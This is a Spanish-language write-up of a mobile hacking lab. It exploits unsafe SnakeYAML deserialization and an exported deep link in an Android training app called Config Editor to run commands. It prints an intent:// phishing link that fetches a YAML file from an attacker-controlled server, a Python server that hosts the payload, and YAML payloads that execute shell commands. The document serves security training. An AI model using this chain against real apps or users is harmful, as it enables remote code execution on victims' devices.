Config Editor
Logra la ejecución remota de código a través de una aplicación de edición de configuración en Android aprovechando vulnerabilidades en una biblioteca de terceros.
Information
English version: ConfigEditor
Ejecutar con éxito código remoto mediante la explotación de una vulnerabilidad en una biblioteca de terceros.
| FILE INFORMATION | APP INFORMATION |
File Name com.mobilehackinglab.configeditor.apk | App Name Config Editor |
Size 5.59MB | Package Name com.mobilehackinglab.configeditor |
MD5 c67b29277d23517d2ebbc013d1486118 | Main Activity com.mobilehackinglab.configeditor.MainActivity |
SHA1 f1f974fc4945b0654f041a0d0b124b269357b5a9 | Target SDK 33 Min SDK 26 Max SDK |
SHA256 ee7d2ae721973d762d717f32a1152dc53522c81352a5762f47b79da5cc151605 | Android Version Name 1.0 Android Version Code 1 |
Application Analysis
Al abrir la aplicacion se muestra una sencilla interfaz donde solo existen dos opciones. Subir un archivo desde el almacenamiento compartido con el boton Load y guardar el archivo con el boton Save.
El funcionamiento sospechozo se presenta al primer momento de mirar el archivo AndroidManifes.xml.
Observamos como entre los permisos concebidos, se encuentra el MANAGE_EXTERNAL_STORAGE que concede a la aplicación capacidad para leer y escribir en directorios compartidos del almacenamiento externo. Ademas de estar presentes los permisos READ_EXTERNAL_STORAGE y WRITE_EXTERNAL_STORAGE siendo redundante e inecesario su presencia existiendo el permiso anterior.
MainActivity es el único código propio definido en el archivo. Este Activity actúa como punto de entrada al iniciar la aplicación. La configuración incluye la categoría BROWSABLE, junto con múltiples scheme y un mimeType específico para contenido YAML. Esta configuracion permite recibir datos externos desde un navegador u otras aplicaciones. Considerando el objetivo principal de la aplicación este comportamiento resulta llamativo.
Mirando la clase MainActivity aparecen las funciones que son ejecutadas por los botones de la interfaz. Tras una busqueda, identifico que dentro del método loadYaml() existe una vulnerabilidad conocida CVE-2022-1471.
com.mobilehackinglab.configeditor;MainActivity
El problema corresponde a una vulnerabilidad de deserialización de datos no confiables (CWE-502).
1
2
Yaml yaml = new Yaml($this$loadYaml_u24lambda_u249_u24lambda_u248);
Object deserializedData = yaml.load(inputStream);
La función yaml.load() de la librería SnakeYAML procesa directamente contenido controlado por el usuario, permitiendo ser instanciado por clases arbitrarias durante el parseo del archivo YAML.
SnakeYAML permite el uso de tags para indicar qué tipo de objeto debe instanciarse durante la deserialización. El parser interpreta estos tags y puede instanciar las clases indicadas. En este caso, cualquier clase accesible por la aplicación puede comportarse como un tag, por eso resulta interesante la clase LegacyCommandUtil.
com.mobilehackinglab.configeditor;LegacyCommandUtil
Aqui, la llamada a Runtime.getRuntime().exec() permite ejecutar comandos directamente en el entorno de la aplicación. Durante la deserialización, SnakeYAML instancia la clase LegacyCommandUtil y ejecuta su constructor. Un archivo YAML diseñado para aprovecharse de este comportamiento puede lograr ejecución de comandos en el sistema en el momento en que la aplicación procesa el archivo (CWE-78).
Un usuario que cargue este tipo de archivos maliciosos en la aplicación queda expuesto a la vulnerabilidad. Sin embargo, existen formas más sofisticadas para lograr ejecucion de comandos por medio de esta aplicacion.
La configuración de MainActivity en el AndroidManifest permite que la Activity reciba un deep link. La aplicación interpreta el Uri como un archivo a cargar y copia su contenido al almacenamiento local. Una vez finalizada la copia, el resultado se entrega a loadYaml(uri), encargado de abrir el archivo y procesarlo. De esta forma, un enlace externo no solo abre la aplicación, sino que también desencadena todo el flujo de carga del archivo de manera automática (CWE-926).
com.mobilehackinglab.configeditor;MainActivity
La explotación mediante deep links no siempre resulta estable, ya que depende de tareas en segundo plano y del estado de la aplicación en ese momento. Esto provoca que, en algunos casos, la ejecución del payload ocurra tras múltiples intentos o luego de cambios de estado en la aplicación o el navegador.
Initial Access
Phishing
Un actor malicioso puede crear una página web index.html que incluya un enlace diseñado para ser utilizado por una víctima con la aplicación vulnerable instalada.
1
intent://172.17.0.1:8000/exploit.yaml?x=12345#Intent;scheme=http;type=application/yaml;package=com.mobilehackinglab.configeditor;launchFlags=0x10000000;end
El enlace abre la aplicación directamente y fuerza la descarga de archivos YAML externos desde un servidor controlado por el atacante.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import http.server
import socketserver
PORT = 8000
class Handler(http.server.SimpleHTTPRequestHandler):
def end_headers(self):
if self.path.endswith(".yaml"):
self.send_header("Content-Type", "application/yaml")
self.send_header("Cache-Control", "no-store")
super().end_headers()
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("Serving at port", PORT)
httpd.serve_forever()
El archivo descargado pasa a almacenamiento local y luego loadYaml(uri) procesa su contenido automáticamente. Esto permite aprovechar la vulnerabilidad de deserialización para ejecutar comandos en el dispositivo.
1
2
!!com.mobilehackinglab.configeditor.LegacyCommandUtil
log -t PWNED "RCE SUCCESS"
Phishing
User Execution
El usuario tambien puede cargar el archivo malicioso de forma local de manera voluntaria y ser victima de la ejecucion de codigo arbitrario.
1
2
!!com.mobilehackinglab.configeditor.LegacyCommandUtil
touch /sdcard/Download/pwned.txt
User Execution
Common Weakness
| CWE ID | CWE Name |
|---|---|
| CWE-502 | Deserialization of Untrusted Data |
| CWE-78 | OS Command Injection |
| CWE-926 | Improper Export of Android Application Components |
MITRE ATT&CK Matrix
| Tactics | Techniques | Sub-Techniques | ID |
|---|---|---|---|
Initial Access | TA0001 | ||
| Phishing | T1566 | ||
| Spearphishing Link | T1566.002 | ||
Execution | TA0041 | ||
| User Execution | T1204 | ||
| Malicious File | T1204.002 |


